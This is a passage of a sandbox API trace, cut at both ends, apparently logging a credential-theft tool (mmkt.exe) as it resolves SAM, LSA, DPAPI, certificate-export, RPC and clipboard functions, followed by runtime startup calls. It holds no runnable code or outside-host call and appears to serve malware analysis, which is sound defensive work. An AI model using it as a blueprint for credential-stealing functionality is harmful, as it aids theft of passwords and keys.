(lpModuleName="Cabinet.dll") returned 0x7fef3740000 [0060.995] GetProcAddress (hModule=0x7fef3740000, lpProcName=0xe) returned 0x7fef3749d68 [0060.995] GetProcAddress (hModule=0x7fef3740000, lpProcName=0xa) returned 0x7fef37498c0 [0060.995] GetProcAddress (hModule=0x7fef3740000, lpProcName=0xd) returned 0x7fef3749c90 [0060.995] GetProcAddress (hModule=0x7fef3740000, lpProcName=0xb) returned 0x7fef3749b24 [0060.995] GetModuleHandleA (lpModuleName="CRYPT32.dll") returned 0x7fefd280000 [0060.995] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertGetNameStringW") returned 0x7fefd2a97b0 [0060.995] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertEnumCertificatesInStore") returned 0x7fefd299eb0 [0060.995] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertAddCertificateContextToStore") returned 0x7fefd2ad8e4 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertEnumSystemStore") returned 0x7fefd2d9478 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptProtectData") returned 0x7fefd2aa290 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertAddEncodedCertificateToStore") returned 0x7fefd288f40 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertFreeCertificateContext") returned 0x7fefd286d3c [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertCloseStore") returned 0x7fefd28925c [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="PFXExportCertStoreEx") returned 0x7fefd327f30 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertSetCertificateContextProperty") returned 0x7fefd2ac940 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertOpenStore") returned 0x7fefd2898fc [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptUnprotectData") returned 0x7fefd2a9d70 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptBinaryToStringW") returned 0x7fefd2b4198 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptStringToBinaryW") returned 0x7fefd2ce9a0 [0060.996] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptAcquireCertificatePrivateKey") returned 0x7fefd2d38ac [0060.997] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptExportPublicKeyInfo") returned 0x7fefd2b0440 [0060.997] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptSignAndEncodeCertificate") returned 0x7fefd2d5fe4 [0060.997] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertNameToStrW") returned 0x7fefd2ac5b0 [0060.997] GetProcAddress (hModule=0x7fefd280000, lpProcName="CryptEncodeObject") returned 0x7fefd29e450 [0060.997] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertFindCertificateInStore") returned 0x7fefd28aed4 [0060.997] GetProcAddress (hModule=0x7fefd280000, lpProcName="CertGetCertificateContextProperty") returned 0x7fefd28b390 [0060.997] GetModuleHandleA (lpModuleName="cryptdll.dll") returned 0x7fefcc20000 [0060.997] GetProcAddress (hModule=0x7fefcc20000, lpProcName="CDGenerateRandomBits") returned 0x7fefcc213e4 [0060.997] GetProcAddress (hModule=0x7fefcc20000, lpProcName="MD5Update") returned 0x7fefcc22c80 [0060.997] GetProcAddress (hModule=0x7fefcc20000, lpProcName="MD5Final") returned 0x7fefcc22bd0 [0060.997] GetProcAddress (hModule=0x7fefcc20000, lpProcName="CDLocateCheckSum") returned 0x7fefcc21028 [0060.997] GetProcAddress (hModule=0x7fefcc20000, lpProcName="CDLocateCSystem") returned 0x7fefcc21098 [0060.998] GetProcAddress (hModule=0x7fefcc20000, lpProcName="MD5Init") returned 0x7fefcc22400 [0060.998] GetModuleHandleA (lpModuleName="DNSAPI.dll") returned 0x7fefc7a0000 [0060.998] GetProcAddress (hModule=0x7fefc7a0000, lpProcName="DnsQuery_A") returned 0x7fefc7cdb8c [0060.998] GetProcAddress (hModule=0x7fefc7a0000, lpProcName="DnsFree") returned 0x7fefc7a1e74 [0060.998] GetModuleHandleA (lpModuleName="FLTLIB.DLL") returned 0x7fef77e0000 [0060.998] GetProcAddress (hModule=0x7fef77e0000, lpProcName="FilterFindNext") returned 0x7fef77e21f0 [0060.998] GetProcAddress (hModule=0x7fef77e0000, lpProcName="FilterFindFirst") returned 0x7fef77e1e9c [0060.998] GetModuleHandleA (lpModuleName="NETAPI32.dll") returned 0x7fefb2e0000 [0060.998] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="DsEnumerateDomainTrustsW") returned 0x7fefc777a6c [0061.123] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="NetServerGetInfo") returned 0x7fefce81968 [0061.123] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="NetRemoteTOD") returned 0x7fefce84e58 [0061.123] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="NetSessionEnum") returned 0x7fefce838f8 [0061.123] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="DsGetDcNameW") returned 0x7fefc7714c0 [0061.124] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="NetApiBufferFree") returned 0x7fefb2d1010 [0061.124] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="NetWkstaUserEnum") returned 0x7fefb2b2efc [0061.124] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="NetShareEnum") returned 0x7fefce81ad4 [0061.124] GetProcAddress (hModule=0x7fefb2e0000, lpProcName="NetStatisticsGet") returned 0x7fefb2e19dc [0061.124] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7fefe130000 [0061.124] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoInitializeEx") returned 0x7fefe152a30 [0061.124] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoUninitialize") returned 0x7fefe151314 [0061.124] GetProcAddress (hModule=0x7fefe130000, lpProcName="CoCreateInstance") returned 0x7fefe157490 [0061.125] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x7fefd6c0000 [0061.125] GetProcAddress (hModule=0x7fefd6c0000, lpProcName=0x8) returned 0x7fefd6c13f0 [0061.125] GetProcAddress (hModule=0x7fefd6c0000, lpProcName=0x6) returned 0x7fefd6c1320 [0061.125] GetProcAddress (hModule=0x7fefd6c0000, lpProcName=0x2) returned 0x7fefd6c3480 [0061.125] GetModuleHandleA (lpModuleName="RPCRT4.dll") returned 0x7fefdaa0000 [0061.125] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcMgmtEpEltInqBegin") returned 0x7fefdb6c110 [0061.125] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcMgmtEpEltInqNextW") returned 0x7fefdb754a0 [0061.126] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcEpResolveBinding") returned 0x7fefdab7b10 [0061.126] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="I_RpcGetCurrentCallHandle") returned 0x7fefdb5b950 [0061.126] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcBindingInqAuthClientW") returned 0x7fefdab6e50 [0061.126] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcBindingSetOption") returned 0x7fefdad2250 [0061.126] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcBindingFromStringBindingW") returned 0x7fefdadaad0 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcStringBindingComposeW") returned 0x7fefdadadb0 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcBindingSetAuthInfoExW") returned 0x7fefdad1da0 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcStringFreeW") returned 0x7fefdad94c0 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="MesHandleFree") returned 0x7fefdad54a0 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcImpersonateClient") returned 0x7fefdabac70 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcRevertToSelf") returned 0x7fefdabad20 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="MesEncodeIncrementalHandleCreate") returned 0x7fefdb49830 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="MesDecodeIncrementalHandleCreate") returned 0x7fefdb49790 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcBindingFree") returned 0x7fefdaec550 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="MesIncrementalHandleReset") returned 0x7fefdb2fe90 [0061.127] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="NdrMesTypeEncode2") returned 0x7fefdad5a10 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="NdrMesTypeDecode2") returned 0x7fefdad6040 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="NdrMesTypeFree2") returned 0x7fefdb495f0 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="NdrMesTypeAlignSize2") returned 0x7fefdad5870 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcMgmtEpEltInqDone") returned 0x7fefdb59f00 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcBindingVectorFree") returned 0x7fefdb5a310 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcServerUseProtseqEpW") returned 0x7fefdae5fa0 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcServerUnregisterIfEx") returned 0x7fefdb6af60 [0061.128] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcBindingToStringBindingW") returned 0x7fefdabfb00 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="UuidToStringW") returned 0x7fefdab2710 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcServerRegisterIf2") returned 0x7fefdae4f90 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcMgmtWaitServerListen") returned 0x7fefdb47ef0 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcServerListen") returned 0x7fefdac15d0 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcServerRegisterAuthInfoW") returned 0x7fefdac1270 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcEpUnregister") returned 0x7fefdb75500 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcEpRegisterW") returned 0x7fefdac2010 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcServerInqBindings") returned 0x7fefdac13e0 [0061.129] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="RpcMgmtStopServerListening") returned 0x7fefdb745a0 [0061.130] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="I_RpcBindingInqSecurityContext") returned 0x7fefdb47ac0 [0061.130] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="NdrClientCall2") returned 0x7fefdb80de0 [0061.130] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="NdrServerCall2") returned 0x7fefdac3370 [0061.130] GetProcAddress (hModule=0x7fefdaa0000, lpProcName="UuidCreate") returned 0x7fefdaf0370 [0061.130] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7fefda20000 [0061.130] GetProcAddress (hModule=0x7fefda20000, lpProcName="PathCombineW") returned 0x7fefda33dfc [0061.130] GetProcAddress (hModule=0x7fefda20000, lpProcName="PathCanonicalizeW") returned 0x7fefda26768 [0061.130] GetProcAddress (hModule=0x7fefda20000, lpProcName="PathIsRelativeW") returned 0x7fefda33dbc [0061.130] GetProcAddress (hModule=0x7fefda20000, lpProcName="PathFindFileNameW") returned 0x7fefda33920 [0061.131] GetProcAddress (hModule=0x7fefda20000, lpProcName="PathIsDirectoryW") returned 0x7fefda285dc [0061.131] GetModuleHandleA (lpModuleName="SAMLIB.dll") returned 0x7fefbb70000 [0061.131] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamOpenUser") returned 0x7fefbb75530 [0061.131] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamConnect") returned 0x7fefbb710e8 [0061.131] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamLookupIdsInDomain") returned 0x7fefbb72928 [0061.131] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamiChangePasswordUser") returned 0x7fefbb7639c [0061.131] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamLookupDomainInSamServer") returned 0x7fefbb7153c [0061.131] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamFreeMemory") returned 0x7fefbb71520 [0061.131] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamQueryInformationUser") returned 0x7fefbb756c0 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamSetInformationUser") returned 0x7fefbb75a34 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamOpenGroup") returned 0x7fefbb74ca0 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamEnumerateAliasesInDomain") returned 0x7fefbb74824 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamRidToSid") returned 0x7fefbb77f80 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamOpenAlias") returned 0x7fefbb72408 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamGetAliasMembership") returned 0x7fefbb72820 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamEnumerateGroupsInDomain") returned 0x7fefbb74200 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamGetMembersInGroup") returned 0x7fefbb75064 [0061.132] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamGetMembersInAlias") returned 0x7fefbb724d0 [0061.133] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamGetGroupsForUser") returned 0x7fefbb76864 [0061.133] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamEnumerateDomainsInSamServer") returned 0x7fefbb715b0 [0061.133] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamOpenDomain") returned 0x7fefbb71340 [0061.133] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamLookupNamesInDomain") returned 0x7fefbb71a18 [0061.133] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamEnumerateUsersInDomain") returned 0x7fefbb74600 [0061.133] GetProcAddress (hModule=0x7fefbb70000, lpProcName="SamCloseHandle") returned 0x7fefbb71430 [0061.133] GetModuleHandleA (lpModuleName="Secur32.dll") returned 0x7fefcf20000 [0061.133] GetProcAddress (hModule=0x7fefcf20000, lpProcName="LsaFreeReturnBuffer") returned 0x7fefcf51f3c [0061.133] GetProcAddress (hModule=0x7fefcf20000, lpProcName="FreeContextBuffer") returned 0x7fefcf51a90 [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="QueryContextAttributesW") returned 0x7fefcf54900 [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="LsaCallAuthenticationPackage") returned 0x7fefcf555b8 [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="LsaDeregisterLogonProcess") returned 0x7fefcf591c0 [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="DeleteSecurityContext") returned 0x7fefcf51ef8 [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="AcquireCredentialsHandleW") returned 0x7fefcf52250 [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="InitializeSecurityContextW") returned 0x7fefcf54c7c [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="FreeCredentialsHandle") returned 0x7fefcf51d90 [0061.134] GetProcAddress (hModule=0x7fefcf20000, lpProcName="LsaLookupAuthenticationPackage") returned 0x7fefcf59100 [0061.135] GetProcAddress (hModule=0x7fefcf20000, lpProcName="EnumerateSecurityPackagesW") returned 0x7fefcf57358 [0061.135] GetProcAddress (hModule=0x7fefcf20000, lpProcName="LsaConnectUntrusted") returned 0x7fefcf59348 [0061.135] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x7fefe6b0000 [0061.135] GetProcAddress (hModule=0x7fefe6b0000, lpProcName="CommandLineToArgvW") returned 0x7fefe6d157c [0061.135] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77040000 [0061.135] GetProcAddress (hModule=0x77040000, lpProcName="GetKeyboardLayout") returned 0x77056610 [0061.135] GetProcAddress (hModule=0x77040000, lpProcName="IsCharAlphaNumericW") returned 0x7704b4ac [0061.135] GetProcAddress (hModule=0x77040000, lpProcName="SendMessageW") returned 0x77056b50 [0061.135] GetProcAddress (hModule=0x77040000, lpProcName="GetClipboardSequenceNumber") returned 0x77065b20 [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="TranslateMessage") returned 0x770596f0 [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="GetClipboardData") returned 0x7705e874 [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="EnumClipboardFormats") returned 0x77065e14 [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="CloseClipboard") returned 0x77065a50 [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="ChangeClipboardChain") returned 0x77062790 [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="DispatchMessageW") returned 0x7705991c [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="OpenClipboard") returned 0x77065a70 [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="RegisterClassExW") returned 0x77050e9c [0061.136] GetProcAddress (hModule=0x77040000, lpProcName="UnregisterClassW") returned 0x7704d464 [0061.137] GetProcAddress (hModule=0x77040000, lpProcName="CreateWindowExW") returned 0x77050810 [0061.137] GetProcAddress (hModule=0x77040000, lpProcName="GetMessageW") returned 0x77059e74 [0061.137] GetProcAddress (hModule=0x77040000, lpProcName="DefWindowProcW") returned 0x7716b0ac [0061.137] GetProcAddress (hModule=0x77040000, lpProcName="PostMessageW") returned 0x770576e4 [0061.137] GetProcAddress (hModule=0x77040000, lpProcName="DestroyWindow") returned 0x7704cbf0 [0061.137] GetProcAddress (hModule=0x77040000, lpProcName="SetClipboardViewer") returned 0x7705f780 [0061.137] GetModuleHandleA (lpModuleName="USERENV.dll") returned 0x7fefc430000 [0061.137] GetProcAddress (hModule=0x7fefc430000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc431080 [0061.137] GetProcAddress (hModule=0x7fefc430000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc4310b0 [0061.138] GetModuleHandleA (lpModuleName="VERSION.dll") returned 0x7fefc250000 [0061.138] GetProcAddress (hModule=0x7fefc250000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefc2515fc [0061.138] GetProcAddress (hModule=0x7fefc250000, lpProcName="VerQueryValueW") returned 0x7fefc2515e0 [0061.138] GetProcAddress (hModule=0x7fefc250000, lpProcName="GetFileVersionInfoW") returned 0x7fefc251614 [0061.138] GetModuleHandleA (lpModuleName="HID.DLL") returned 0x7fefb620000 [0061.138] GetProcAddress (hModule=0x7fefb620000, lpProcName="HidD_FreePreparsedData") returned 0x7fefb621370 [0061.138] GetProcAddress (hModule=0x7fefb620000, lpProcName="HidD_GetPreparsedData") returned 0x7fefb6214dc [0061.138] GetProcAddress (hModule=0x7fefb620000, lpProcName="HidD_GetAttributes") returned 0x7fefb621454 [0061.139] GetProcAddress (hModule=0x7fefb620000, lpProcName="HidD_GetFeature") returned 0x7fefb6224a0 [0061.139] GetModuleHandleA (lpModuleName="SETUPAPI.dll") returned 0x7fefe340000 [0061.139] GetModuleHandleA (lpModuleName="WinSCard.dll") returned 0x7fef5d40000 [0061.139] GetModuleHandleA (lpModuleName="WINSTA.dll") returned 0x7fefd030000 [0061.140] GetModuleHandleA (lpModuleName="WLDAP32.dll") returned 0x7fefd840000 [0061.140] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x7fefddc0000 [0061.140] GetModuleHandleA (lpModuleName="msasn1.dll") returned 0x7fefd130000 [0061.140] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77140000 [0061.140] GetModuleHandleA (lpModuleName="netapi32.dll") returned 0x7fefb2e0000 [0061.141] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76f20000 [0061.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0x7c708720, dwHighDateTime=0x1d5ca1f)) [0061.148] GetCurrentThreadId () returned 0x854 [0061.148] GetCurrentProcessId () returned 0x844 [0061.148] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=20225766371) returned 1 [0061.154] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0061.154] GetLastError () returned 0x57 [0061.161] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0061.161] GetLastError () returned 0x57 [0061.161] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000 [0061.161] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0061.167] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0061.167] GetLastError () returned 0x57 [0061.168] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0061.168] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0061.172] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0061.172] GetLastError () returned 0x57 [0061.172] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7760000 [0061.199] GetProcAddress (hModule=0x7fef7760000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0061.204] GetProcessHeap () returned 0x1a0000 [0061.208] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0061.208] GetLastError () returned 0x57 [0061.208] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0061.232] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0061.232] GetLastError () returned 0x57 [0061.232] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76f20000 [0061.232] GetProcAddress (hModule=0x76f20000, lpProcName="FlsAlloc") returned 0x76f37190 [0061.233] GetLastError () returned 0x57 [0061.233] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0061.233] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x3c8) returned 0x1d09f0 [0061.233] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0061.233] SetLastError (dwErrCode=0x57) [0061.238] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x8, Size=0x1000) returned 0x1d0dc0 [0061.275] GetStartupInfoW (in: lpStartupInfo=0x12fe10 | out: lpStartupInfo=0x12fe10*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\All Users\\mmkt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x1)) [0061.275] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0061.275] GetFileType (hFile=0x3) returned 0x2 [0061.276] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0061.276] GetFileType (hFile=0x7) returned 0x2 [0061.276] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0061.276] GetFileType (hFile=0xb) returned 0x2 [0061.276] GetCommandLineA () returned="\"C:\\Users\\All Users\\mmkt.exe\" " [0061.276] GetCommandLineW () returned="\"C:\\Users\\All Users\\mmkt.exe\" " [0061.281] GetLastError () returned 0x57 [0061.281] SetLastError (dwErrCode=0x57) [0061.281] GetLastError () returned 0x57 [0061.281] SetLastError (dwErrCode=0x57) [0061.281] GetACP () returned 0x4e4 [0061.281] RtlAllocateHeap (HeapHandle=0x1a0000, Flags=0x0, Size=0x228) returned 0x1d31d0 [0061.281] IsValidCodePage (CodePage=0x4e4) returned 1 [0061.281] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fde0 | out: lpCPInfo=0x12fde0) returned 1 [0061.281] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f680 | out: lpCPInfo=0x12f680) returned 1 [0061.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f6a0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.281] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f6a0, cbMultiByte=256, lpWideCharStr=0x12f3d0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ台\x1b") returned 256 [0061.281] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ台\x1b", cchSrc=256, lpCharType=0x12f9a0 | out: lpCharType=0x12f9a0) returned 1 [0061.286] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f6a0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.286] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f6a0, cbMultiByte=256, lpWideCharStr=0x12f370, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0061.286] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0061.286] GetLastError () returned 0x57 [0061.286] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0061.309] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0061.310] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, 